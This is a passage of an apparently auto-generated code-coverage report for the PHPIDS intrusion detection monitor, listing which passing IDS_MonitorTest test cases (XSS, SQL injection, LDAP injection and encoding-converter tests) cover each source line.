class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel232": { - "header": "35 tests cover line 232", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel233": { - "header": "6 tests cover line 233", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel234": { - "header": "6 tests cover line 234", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel235": { - "header": "6 tests cover line 235", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel236": { - "header": "6 tests cover line 236", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel238": { - "header": "35 tests cover line 238", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel252": { - "header": "35 tests cover line 252", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel253": { - "header": "35 tests cover line 253", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel255": { - "header": "35 tests cover line 255", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel268": { - "header": "35 tests cover line 268", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel269": { - "header": "35 tests cover line 269", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel270": { - "header": "3 tests cover line 270", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel271": { - "header": "3 tests cover line 271", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel272": { - "header": "3 tests cover line 272", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel273": { - "header": "3 tests cover line 273", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel274": { - "header": "3 tests cover line 274", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel275": { - "header": "3 tests cover line 275", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel276": { - "header": "3 tests cover line 276", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel277": { - "header": "3 tests cover line 277", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel278": { - "header": "3 tests cover line 278", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel279": { - "header": "3 tests cover line 279", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel280": { - "header": "35 tests cover line 280", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel294": { - "header": "35 tests cover line 294", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel295": { - "header": "35 tests cover line 295", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li 